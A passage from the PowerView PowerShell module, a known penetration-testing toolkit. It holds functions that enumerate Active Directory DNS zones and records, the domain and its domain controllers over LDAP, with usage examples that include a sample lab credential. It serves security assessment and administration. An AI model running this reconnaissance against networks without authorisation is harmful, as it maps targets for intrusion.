   3373         [String[]]
   3374         $Properties,
   3375 
   3376         [ValidateNotNullOrEmpty()]
   3377         [Alias('ADSPath')]
   3378         [String]
   3379         $SearchBase,
   3380 
   3381         [ValidateNotNullOrEmpty()]
   3382         [String]
   3383         $SearchBasePrefix,
   3384 
   3385         [ValidateNotNullOrEmpty()]
   3386         [Alias('DomainController')]
   3387         [String]
   3388         $Server,
   3389 
   3390         [ValidateSet('Base', 'OneLevel', 'Subtree')]
   3391         [String]
   3392         $SearchScope = 'Subtree',
   3393 
   3394         [ValidateRange(1, 10000)]
   3395         [Int]
   3396         $ResultPageSize = 200,
   3397 
   3398         [ValidateRange(1, 10000)]
   3399         [Int]
   3400         $ServerTimeLimit = 120,
   3401 
   3402         [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
   3403         [String]
   3404         $SecurityMasks,
   3405 
   3406         [Switch]
   3407         $Tombstone,
   3408 
   3409         [Management.Automation.PSCredential]
   3410         [Management.Automation.CredentialAttribute()]
   3411         $Credential = [Management.Automation.PSCredential]::Empty
   3412     )
   3413 
   3414     PROCESS {
   3415         if ($PSBoundParameters['Domain']) {
   3416             $TargetDomain = $Domain
   3417 
   3418             if ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) {
   3419                 # see if we can grab the user DNS logon domain from environment variables
   3420                 $UserDomain = $ENV:USERDNSDOMAIN
   3421                 if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $UserDomain) {
   3422                     $BindServer = "$($ENV:LOGONSERVER -replace '\\','').$UserDomain"
   3423                 }
   3424             }
   3425         }
   3426         elseif ($PSBoundParameters['Credential']) {
   3427             # if not -Domain is specified, but -Credential is, try to retrieve the current domain name with Get-Domain
   3428             $DomainObject = Get-Domain -Credential $Credential
   3429             $BindServer = ($DomainObject.PdcRoleOwner).Name
   3430             $TargetDomain = $DomainObject.Name
   3431         }
   3432         elseif ($ENV:USERDNSDOMAIN -and ($ENV:USERDNSDOMAIN.Trim() -ne '')) {
   3433             # see if we can grab the user DNS logon domain from environment variables
   3434             $TargetDomain = $ENV:USERDNSDOMAIN
   3435             if ($ENV:LOGONSERVER -and ($ENV:LOGONSERVER.Trim() -ne '') -and $TargetDomain) {
   3436                 $BindServer = "$($ENV:LOGONSERVER -replace '\\','').$TargetDomain"
   3437             }
   3438         }
   3439         else {
   3440             # otherwise, resort to Get-Domain to retrieve the current domain object
   3441             write-verbose "get-domain"
   3442             $DomainObject = Get-Domain
   3443             $BindServer = ($DomainObject.PdcRoleOwner).Name
   3444             $TargetDomain = $DomainObject.Name
   3445         }
   3446 
   3447         if ($PSBoundParameters['Server']) {
   3448             # if there's not a specified server to bind to, try to pull a logon server from ENV variables
   3449             $BindServer = $Server
   3450         }
   3451 
   3452         $SearchString = 'LDAP://'
   3453 
   3454         if ($BindServer -and ($BindServer.Trim() -ne '')) {
   3455             $SearchString += $BindServer
   3456             if ($TargetDomain) {
   3457                 $SearchString += '/'
   3458             }
   3459         }
   3460 
   3461         if ($PSBoundParameters['SearchBasePrefix']) {
   3462             $SearchString += $SearchBasePrefix + ','
   3463         }
   3464 
   3465         if ($PSBoundParameters['SearchBase']) {
   3466             if ($SearchBase -Match '^GC://') {
   3467                 # if we're searching the global catalog, get the path in the right format
   3468                 $DN = $SearchBase.ToUpper().Trim('/')
   3469                 $SearchString = ''
   3470             }
   3471             else {
   3472                 if ($SearchBase -match '^LDAP://') {
   3473                     if ($SearchBase -match "LDAP://.+/.+") {
   3474                         $SearchString = ''
   3475                         $DN = $SearchBase
   3476                     }
   3477                     else {
   3478                         $DN = $SearchBase.SubString(7)
   3479                     }
   3480                 }
   3481                 else {
   3482                     $DN = $SearchBase
   3483                 }
   3484             }
   3485         }
   3486         else {
   3487             # transform the target domain name into a distinguishedName if an ADS search base is not specified
   3488             if ($TargetDomain -and ($TargetDomain.Trim() -ne '')) {
   3489                 $DN = "DC=$($TargetDomain.Replace('.', ',DC='))"
   3490             }
   3491         }
   3492 
   3493         $SearchString += $DN
   3494         Write-Verbose "[Get-DomainSearcher] search base: $SearchString"
   3495 
   3496         if ($Credential -ne [Management.Automation.PSCredential]::Empty) {
   3497             Write-Verbose "[Get-DomainSearcher] Using alternate credentials for LDAP connection"
   3498             # bind to the inital search object using alternate credentials
   3499             $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password)
   3500             $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject)
   3501         }
   3502         else {
   3503             # bind to the inital object using the current credentials
   3504             $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
   3505         }
   3506 
   3507         $Searcher.PageSize = $ResultPageSize
   3508         $Searcher.SearchScope = $SearchScope
   3509         $Searcher.CacheResults = $False
   3510         $Searcher.ReferralChasing = [System.DirectoryServices.ReferralChasingOption]::All
   3511 
   3512         if ($PSBoundParameters['ServerTimeLimit']) {
   3513             $Searcher.ServerTimeLimit = $ServerTimeLimit
   3514         }
   3515 
   3516         if ($PSBoundParameters['Tombstone']) {
   3517             $Searcher.Tombstone = $True
   3518         }
   3519 
   3520         if ($PSBoundParameters['LDAPFilter']) {
   3521             $Searcher.filter = $LDAPFilter
   3522         }
   3523 
   3524         if ($PSBoundParameters['SecurityMasks']) {
   3525             $Searcher.SecurityMasks = Switch ($SecurityMasks) {
   3526                 'Dacl' { [System.DirectoryServices.SecurityMasks]::Dacl }
   3527                 'Group' { [System.DirectoryServices.SecurityMasks]::Group }
   3528                 'None' { [System.DirectoryServices.SecurityMasks]::None }
   3529                 'Owner' { [System.DirectoryServices.SecurityMasks]::Owner }
   3530                 'Sacl' { [System.DirectoryServices.SecurityMasks]::Sacl }
   3531             }
   3532         }
   3533 
   3534         if ($PSBoundParameters['Properties']) {
   3535             # handle an array of properties to load w/ the possibility of comma-separated strings
   3536             $PropertiesToLoad = $Properties| ForEach-Object { $_.Split(',') }
   3537             $Null = $Searcher.PropertiesToLoad.AddRange(($PropertiesToLoad))
   3538         }
   3539 
   3540         $Searcher
   3541     }
   3542 }
   3543 
   3544 
   3545 function Convert-DNSRecord {
   3546 <#
   3547 .SYNOPSIS
   3548 
   3549 Helpers that decodes a binary DNS record blob.
   3550 
   3551 Author: Michael B. Smith, Will Schroeder (@harmj0y)  
   3552 License: BSD 3-Clause  
   3553 Required Dependencies: None  
   3554 
   3555 .DESCRIPTION
   3556 
   3557 Decodes a binary blob representing an Active Directory DNS entry.
   3558 Used by Get-DomainDNSRecord.
   3559 
   3560 Adapted/ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1
   3561 
   3562 .PARAMETER DNSRecord
   3563 
   3564 A byte array representing the DNS record.
   3565 
   3566 .OUTPUTS
   3567 
   3568 System.Management.Automation.PSCustomObject
   3569 
   3570 Outputs custom PSObjects with detailed information about the DNS record entry.
   3571 
   3572 .LINK
   3573 
   3574 https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1
   3575 #>
   3576 
   3577     [OutputType('System.Management.Automation.PSCustomObject')]
   3578     [CmdletBinding()]
   3579     Param(
   3580         [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
   3581         [Byte[]]
   3582         $DNSRecord
   3583     )
   3584 
   3585     BEGIN {
   3586         function Get-Name {
   3587             [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseOutputTypeCorrectly', '')]
   3588             [CmdletBinding()]
   3589             Param(
   3590                 [Byte[]]
   3591                 $Raw
   3592             )
   3593 
   3594             [Int]$Length = $Raw[0]
   3595             [Int]$Segments = $Raw[1]
   3596             [Int]$Index =  2
   3597             [String]$Name  = ''
   3598 
   3599             while ($Segments-- -gt 0)
   3600             {
   3601                 [Int]$SegmentLength = $Raw[$Index++]
   3602                 while ($SegmentLength-- -gt 0) {
   3603                     $Name += [Char]$Raw[$Index++]
   3604                 }
   3605                 $Name += "."
   3606             }
   3607             $Name
   3608         }
   3609     }
   3610 
   3611     PROCESS {
   3612         # $RDataLen = [BitConverter]::ToUInt16($DNSRecord, 0)
   3613         $RDataType = [BitConverter]::ToUInt16($DNSRecord, 2)
   3614         $UpdatedAtSerial = [BitConverter]::ToUInt32($DNSRecord, 8)
   3615 
   3616         $TTLRaw = $DNSRecord[12..15]
   3617 
   3618         # reverse for big endian
   3619         $Null = [array]::Reverse($TTLRaw)
   3620         $TTL = [BitConverter]::ToUInt32($TTLRaw, 0)
   3621 
   3622         $Age = [BitConverter]::ToUInt32($DNSRecord, 20)
   3623         if ($Age -ne 0) {
   3624             $TimeStamp = ((Get-Date -Year 1601 -Month 1 -Day 1 -Hour 0 -Minute 0 -Second 0).AddHours($age)).ToString()
   3625         }
   3626         else {
   3627             $TimeStamp = '[static]'
   3628         }
   3629 
   3630         $DNSRecordObject = New-Object PSObject
   3631 
   3632         if ($RDataType -eq 1) {
   3633             $IP = "{0}.{1}.{2}.{3}" -f $DNSRecord[24], $DNSRecord[25], $DNSRecord[26], $DNSRecord[27]
   3634             $Data = $IP
   3635             $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'A'
   3636         }
   3637 
   3638         elseif ($RDataType -eq 2) {
   3639             $NSName = Get-Name $DNSRecord[24..$DNSRecord.length]
   3640             $Data = $NSName
   3641             $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'NS'
   3642         }
   3643 
   3644         elseif ($RDataType -eq 5) {
   3645             $Alias = Get-Name $DNSRecord[24..$DNSRecord.length]
   3646             $Data = $Alias
   3647             $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'CNAME'
   3648         }
   3649 
   3650         elseif ($RDataType -eq 6) {
   3651             # TODO: how to implement properly? nested object?
   3652             $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
   3653             $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SOA'
   3654         }
   3655 
   3656         elseif ($RDataType -eq 12) {
   3657             $Ptr = Get-Name $DNSRecord[24..$DNSRecord.length]
   3658             $Data = $Ptr
   3659             $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'PTR'
   3660         }
   3661 
   3662         elseif ($RDataType -eq 13) {
   3663             # TODO: how to implement properly? nested object?
   3664             $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
   3665             $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'HINFO'
   3666         }
   3667 
   3668         elseif ($RDataType -eq 15) {
   3669             # TODO: how to implement properly? nested object?
   3670             $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
   3671             $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'MX'
   3672         }
   3673 
   3674         elseif ($RDataType -eq 16) {
   3675             [string]$TXT  = ''
   3676             [int]$SegmentLength = $DNSRecord[24]
   3677             $Index = 25
   3678 
   3679             while ($SegmentLength-- -gt 0) {
   3680                 $TXT += [char]$DNSRecord[$index++]
   3681             }
   3682 
   3683             $Data = $TXT
   3684             $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'TXT'
   3685         }
   3686 
   3687         elseif ($RDataType -eq 28) {
   3688             # TODO: how to implement properly? nested object?
   3689             $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
   3690             $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'AAAA'
   3691         }
   3692 
   3693         elseif ($RDataType -eq 33) {
   3694             # TODO: how to implement properly? nested object?
   3695             $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
   3696             $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'SRV'
   3697         }
   3698 
   3699         else {
   3700             $Data = $([System.Convert]::ToBase64String($DNSRecord[24..$DNSRecord.length]))
   3701             $DNSRecordObject | Add-Member Noteproperty 'RecordType' 'UNKNOWN'
   3702         }
   3703 
   3704         $DNSRecordObject | Add-Member Noteproperty 'UpdatedAtSerial' $UpdatedAtSerial
   3705         $DNSRecordObject | Add-Member Noteproperty 'TTL' $TTL
   3706         $DNSRecordObject | Add-Member Noteproperty 'Age' $Age
   3707         $DNSRecordObject | Add-Member Noteproperty 'TimeStamp' $TimeStamp
   3708         $DNSRecordObject | Add-Member Noteproperty 'Data' $Data
   3709         $DNSRecordObject
   3710     }
   3711 }
   3712 
   3713 
   3714 function Get-DomainDNSZone {
   3715 <#
   3716 .SYNOPSIS
   3717 
   3718 Enumerates the Active Directory DNS zones for a given domain.
   3719 
   3720 Author: Will Schroeder (@harmj0y)  
   3721 License: BSD 3-Clause  
   3722 Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty  
   3723 
   3724 .PARAMETER Domain
   3725 
   3726 The domain to query for zones, defaults to the current domain.
   3727 
   3728 .PARAMETER Server
   3729 
   3730 Specifies an Active Directory server (domain controller) to bind to for the search.
   3731 
   3732 .PARAMETER Properties
   3733 
   3734 Specifies the properties of the output object to retrieve from the server.
   3735 
   3736 .PARAMETER ResultPageSize
   3737 
   3738 Specifies the PageSize to set for the LDAP searcher object.
   3739 
   3740 .PARAMETER ServerTimeLimit
   3741 
   3742 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
   3743 
   3744 .PARAMETER FindOne
   3745 
   3746 Only return one result object.
   3747 
   3748 .PARAMETER Credential
   3749 
   3750 A [Management.Automation.PSCredential] object of alternate credentials
   3751 for connection to the target domain.
   3752 
   3753 .EXAMPLE
   3754 
   3755 Get-DomainDNSZone
   3756 
   3757 Retrieves the DNS zones for the current domain.
   3758 
   3759 .EXAMPLE
   3760 
   3761 Get-DomainDNSZone -Domain dev.testlab.local -Server primary.testlab.local
   3762 
   3763 Retrieves the DNS zones for the dev.testlab.local domain, binding to primary.testlab.local.
   3764 
   3765 .OUTPUTS
   3766 
   3767 PowerView.DNSZone
   3768 
   3769 Outputs custom PSObjects with detailed information about the DNS zone.
   3770 #>
   3771 
   3772     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   3773     [OutputType('PowerView.DNSZone')]
   3774     [CmdletBinding()]
   3775     Param(
   3776         [Parameter(Position = 0, ValueFromPipeline = $True)]
   3777         [ValidateNotNullOrEmpty()]
   3778         [String]
   3779         $Domain,
   3780 
   3781         [ValidateNotNullOrEmpty()]
   3782         [Alias('DomainController')]
   3783         [String]
   3784         $Server,
   3785 
   3786         [ValidateNotNullOrEmpty()]
   3787         [String[]]
   3788         $Properties,
   3789 
   3790         [ValidateRange(1, 10000)]
   3791         [Int]
   3792         $ResultPageSize = 200,
   3793 
   3794         [ValidateRange(1, 10000)]
   3795         [Int]
   3796         $ServerTimeLimit,
   3797 
   3798         [Alias('ReturnOne')]
   3799         [Switch]
   3800         $FindOne,
   3801 
   3802         [Management.Automation.PSCredential]
   3803         [Management.Automation.CredentialAttribute()]
   3804         $Credential = [Management.Automation.PSCredential]::Empty
   3805     )
   3806 
   3807     PROCESS {
   3808         $SearcherArguments = @{
   3809             'LDAPFilter' = '(objectClass=dnsZone)'
   3810         }
   3811         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
   3812         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
   3813         if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
   3814         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
   3815         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
   3816         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
   3817         $DNSSearcher1 = Get-DomainSearcher @SearcherArguments
   3818 
   3819         if ($DNSSearcher1) {
   3820             if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher1.FindOne()  }
   3821             else { $Results = $DNSSearcher1.FindAll() }
   3822             $Results | Where-Object {$_} | ForEach-Object {
   3823                 $Out = Convert-LDAPProperty -Properties $_.Properties
   3824                 $Out | Add-Member NoteProperty 'ZoneName' $Out.name
   3825                 $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone')
   3826                 $Out
   3827             }
   3828 
   3829             if ($Results) {
   3830                 try { $Results.dispose() }
   3831                 catch {
   3832                     Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_"
   3833                 }
   3834             }
   3835             $DNSSearcher1.dispose()
   3836         }
   3837 
   3838         $SearcherArguments['SearchBasePrefix'] = 'CN=MicrosoftDNS,DC=DomainDnsZones'
   3839         $DNSSearcher2 = Get-DomainSearcher @SearcherArguments
   3840 
   3841         if ($DNSSearcher2) {
   3842             try {
   3843                 if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher2.FindOne() }
   3844                 else { $Results = $DNSSearcher2.FindAll() }
   3845                 $Results | Where-Object {$_} | ForEach-Object {
   3846                     $Out = Convert-LDAPProperty -Properties $_.Properties
   3847                     $Out | Add-Member NoteProperty 'ZoneName' $Out.name
   3848                     $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone')
   3849                     $Out
   3850                 }
   3851                 if ($Results) {
   3852                     try { $Results.dispose() }
   3853                     catch {
   3854                         Write-Verbose "[Get-DomainDNSZone] Error disposing of the Results object: $_"
   3855                     }
   3856                 }
   3857             }
   3858             catch {
   3859                 Write-Verbose "[Get-DomainDNSZone] Error accessing 'CN=MicrosoftDNS,DC=DomainDnsZones'"
   3860             }
   3861             $DNSSearcher2.dispose()
   3862         }
   3863     }
   3864 }
   3865 
   3866 
   3867 function Get-DomainDNSRecord {
   3868 <#
   3869 .SYNOPSIS
   3870 
   3871 Enumerates the Active Directory DNS records for a given zone.
   3872 
   3873 Author: Will Schroeder (@harmj0y)  
   3874 License: BSD 3-Clause  
   3875 Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-DNSRecord  
   3876 
   3877 .DESCRIPTION
   3878 
   3879 Given a specific Active Directory DNS zone name, query for all 'dnsNode'
   3880 LDAP entries using that zone as the search base. Return all DNS entry results
   3881 and use Convert-DNSRecord to try to convert the binary DNS record blobs.
   3882 
   3883 .PARAMETER ZoneName
   3884 
   3885 Specifies the zone to query for records (which can be enumearted with Get-DomainDNSZone).
   3886 
   3887 .PARAMETER Domain
   3888 
   3889 The domain to query for zones, defaults to the current domain.
   3890 
   3891 .PARAMETER Server
   3892 
   3893 Specifies an Active Directory server (domain controller) to bind to for the search.
   3894 
   3895 .PARAMETER Properties
   3896 
   3897 Specifies the properties of the output object to retrieve from the server.
   3898 
   3899 .PARAMETER ResultPageSize
   3900 
   3901 Specifies the PageSize to set for the LDAP searcher object.
   3902 
   3903 .PARAMETER ServerTimeLimit
   3904 
   3905 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
   3906 
   3907 .PARAMETER FindOne
   3908 
   3909 Only return one result object.
   3910 
   3911 .PARAMETER Credential
   3912 
   3913 A [Management.Automation.PSCredential] object of alternate credentials
   3914 for connection to the target domain.
   3915 
   3916 .EXAMPLE
   3917 
   3918 Get-DomainDNSRecord -ZoneName testlab.local
   3919 
   3920 Retrieve all records for the testlab.local zone.
   3921 
   3922 .EXAMPLE
   3923 
   3924 Get-DomainDNSZone | Get-DomainDNSRecord
   3925 
   3926 Retrieve all records for all zones in the current domain.
   3927 
   3928 .EXAMPLE
   3929 
   3930 Get-DomainDNSZone -Domain dev.testlab.local | Get-DomainDNSRecord -Domain dev.testlab.local
   3931 
   3932 Retrieve all records for all zones in the dev.testlab.local domain.
   3933 
   3934 .OUTPUTS
   3935 
   3936 PowerView.DNSRecord
   3937 
   3938 Outputs custom PSObjects with detailed information about the DNS record entry.
   3939 #>
   3940 
   3941     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   3942     [OutputType('PowerView.DNSRecord')]
   3943     [CmdletBinding()]
   3944     Param(
   3945         [Parameter(Position = 0,  Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
   3946         [ValidateNotNullOrEmpty()]
   3947         [String]
   3948         $ZoneName,
   3949 
   3950         [ValidateNotNullOrEmpty()]
   3951         [String]
   3952         $Domain,
   3953 
   3954         [ValidateNotNullOrEmpty()]
   3955         [Alias('DomainController')]
   3956         [String]
   3957         $Server,
   3958 
   3959         [ValidateNotNullOrEmpty()]
   3960         [String[]]
   3961         $Properties = 'name,distinguishedname,dnsrecord,whencreated,whenchanged',
   3962 
   3963         [ValidateRange(1, 10000)]
   3964         [Int]
   3965         $ResultPageSize = 200,
   3966 
   3967         [ValidateRange(1, 10000)]
   3968         [Int]
   3969         $ServerTimeLimit,
   3970 
   3971         [Alias('ReturnOne')]
   3972         [Switch]
   3973         $FindOne,
   3974 
   3975         [Management.Automation.PSCredential]
   3976         [Management.Automation.CredentialAttribute()]
   3977         $Credential = [Management.Automation.PSCredential]::Empty
   3978     )
   3979 
   3980     PROCESS {
   3981         $SearcherArguments = @{
   3982             'LDAPFilter' = '(objectClass=dnsNode)'
   3983             'SearchBasePrefix' = "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones"
   3984         }
   3985         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
   3986         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
   3987         if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
   3988         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
   3989         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
   3990         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
   3991         $DNSSearcher = Get-DomainSearcher @SearcherArguments
   3992 
   3993         if ($DNSSearcher) {
   3994             if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher.FindOne() }
   3995             else { $Results = $DNSSearcher.FindAll() }
   3996             $Results | Where-Object {$_} | ForEach-Object {
   3997                 try {
   3998                     $Out = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged
   3999                     $Out | Add-Member NoteProperty 'ZoneName' $ZoneName
   4000 
   4001                     # convert the record and extract the properties
   4002                     if ($Out.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) {
   4003                         # TODO: handle multiple nested records properly?
   4004                         $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord[0]
   4005                     }
   4006                     else {
   4007                         $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord
   4008                     }
   4009 
   4010                     if ($Record) {
   4011                         $Record.PSObject.Properties | ForEach-Object {
   4012                             $Out | Add-Member NoteProperty $_.Name $_.Value
   4013                         }
   4014                     }
   4015 
   4016                     $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSRecord')
   4017                     $Out
   4018                 }
   4019                 catch {
   4020                     Write-Warning "[Get-DomainDNSRecord] Error: $_"
   4021                     $Out
   4022                 }
   4023             }
   4024 
   4025             if ($Results) {
   4026                 try { $Results.dispose() }
   4027                 catch {
   4028                     Write-Verbose "[Get-DomainDNSRecord] Error disposing of the Results object: $_"
   4029                 }
   4030             }
   4031             $DNSSearcher.dispose()
   4032         }
   4033     }
   4034 }
   4035 
   4036 
   4037 function Get-Domain {
   4038 <#
   4039 .SYNOPSIS
   4040 
   4041 Returns the domain object for the current (or specified) domain.
   4042 
   4043 Author: Will Schroeder (@harmj0y)  
   4044 License: BSD 3-Clause  
   4045 Required Dependencies: None  
   4046 
   4047 .DESCRIPTION
   4048 
   4049 Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current
   4050 domain or the domain specified with -Domain X.
   4051 
   4052 .PARAMETER Domain
   4053 
   4054 Specifies the domain name to query for, defaults to the current domain.
   4055 
   4056 .PARAMETER Credential
   4057 
   4058 A [Management.Automation.PSCredential] object of alternate credentials
   4059 for connection to the target domain.
   4060 
   4061 .EXAMPLE
   4062 
   4063 Get-Domain -Domain testlab.local
   4064 
   4065 .EXAMPLE
   4066 
   4067 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   4068 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
   4069 Get-Domain -Credential $Cred
   4070 
   4071 .OUTPUTS
   4072 
   4073 System.DirectoryServices.ActiveDirectory.Domain
   4074 
   4075 A complex .NET domain object.
   4076 
   4077 .LINK
   4078 
   4079 http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG
   4080 #>
   4081 
   4082     [OutputType([System.DirectoryServices.ActiveDirectory.Domain])]
   4083     [CmdletBinding()]
   4084     Param(
   4085         [Parameter(Position = 0, ValueFromPipeline = $True)]
   4086         [ValidateNotNullOrEmpty()]
   4087         [String]
   4088         $Domain,
   4089 
   4090         [Management.Automation.PSCredential]
   4091         [Management.Automation.CredentialAttribute()]
   4092         $Credential = [Management.Automation.PSCredential]::Empty
   4093     )
   4094 
   4095     PROCESS {
   4096         if ($PSBoundParameters['Credential']) {
   4097 
   4098             Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain'
   4099 
   4100             if ($PSBoundParameters['Domain']) {
   4101                 $TargetDomain = $Domain
   4102             }
   4103             else {
   4104                 # if no domain is supplied, extract the logon domain from the PSCredential passed
   4105                 $TargetDomain = $Credential.GetNetworkCredential().Domain
   4106                 Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential"
   4107             }
   4108 
   4109             $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password)
   4110 
   4111             try {
   4112                 [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
   4113             }
   4114             catch {
   4115                 Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_"
   4116             }
   4117         }
   4118         elseif ($PSBoundParameters['Domain']) {
   4119             $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)
   4120             try {
   4121                 [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext)
   4122             }
   4123             catch {
   4124                 Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_"
   4125             }
   4126         }
   4127         else {
   4128             try {
   4129                 [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
   4130             }
   4131             catch {
   4132                 Write-Verbose "[Get-Domain] Error retrieving the current domain: $_"
   4133             }
   4134         }
   4135     }
   4136 }
   4137 
   4138 
   4139 function Get-DomainController {
   4140 <#
   4141 .SYNOPSIS
   4142 
   4143 Return the domain controllers for the current (or specified) domain.
   4144 
   4145 Author: Will Schroeder (@harmj0y)  
   4146 License: BSD 3-Clause  
   4147 Required Dependencies: Get-DomainComputer, Get-Domain  
   4148 
   4149 .DESCRIPTION
   4150 
   4151 Enumerates the domain controllers for the current or specified domain.
   4152 By default built in .NET methods are used. The -LDAP switch uses Get-DomainComputer
   4153 to search for domain controllers.
   4154 
   4155 .PARAMETER Domain
   4156 
   4157 The domain to query for domain controllers, defaults to the current domain.
   4158 
   4159 .PARAMETER Server
   4160 
   4161 Specifies an Active Directory server (domain controller) to bind to.
   4162 
   4163 .PARAMETER LDAP
   4164 
   4165 Switch. Use LDAP queries to determine the domain controllers instead of built in .NET methods.
   4166 
   4167 .PARAMETER Credential
   4168 
   4169 A [Management.Automation.PSCredential] object of alternate credentials
   4170 for connection to the target domain.
   4171 
   4172 .EXAMPLE
   4173 
   4174 Get-DomainController -Domain 'test.local'
   4175 
   4176 Determine the domain controllers for 'test.local'.
   4177 
   4178 .EXAMPLE
   4179 
   4180 Get-DomainController -Domain 'test.local' -LDAP
   4181 
   4182 Determine the domain controllers for 'test.local' using LDAP queries.
   4183 
   4184 .EXAMPLE
   4185 
   4186 'test.local' | Get-DomainController
   4187 
   4188 Determine the domain controllers for 'test.local'.
   4189 
   4190 .EXAMPLE
   4191 
   4192 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   4193 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
   4194 Get-DomainController -Credential $Cred
   4195 
   4196 .OUTPUTS
   4197 
   4198 PowerView.Computer
   4199 
   4200 Outputs custom PSObjects with details about the enumerated domain controller if -LDAP is specified.
   4201 
   4202 System.DirectoryServices.ActiveDirectory.DomainController
   4203 
   4204 If -LDAP isn't specified.
   4205 #>
   4206 
   4207     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   4208     [OutputType('PowerView.Computer')]
   4209     [OutputType('System.DirectoryServices.ActiveDirectory.DomainController')]
   4210     [CmdletBinding()]
   4211     Param(
   4212         [Parameter(Position = 0, ValueFromPipeline = $True)]
   4213         [String]
   4214         $Domain,
   4215 
   4216         [ValidateNotNullOrEmpty()]
   4217         [Alias('DomainController')]
   4218         [String]
   4219         $Server,
   4220 
   4221         [Switch]
   4222         $LDAP,
   4223 
   4224         [Management.Automation.PSCredential]
   4225         [Management.Automation.CredentialAttribute()]
   4226         $Credential = [Management.Automation.PSCredential]::Empty
   4227     )
   4228 
   4229     PROCESS {
   4230         $Arguments = @{}
   4231         if ($PSBoundParameters['Domain']) { $Arguments['Domain'] = $Domain }
   4232         if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential }
   4233 
   4234         if ($PSBoundParameters['LDAP'] -or $PSBoundParameters['Server']) {
   4235             if ($PSBoundParameters['Server']) { $Arguments['Server'] = $Server }
   4236 
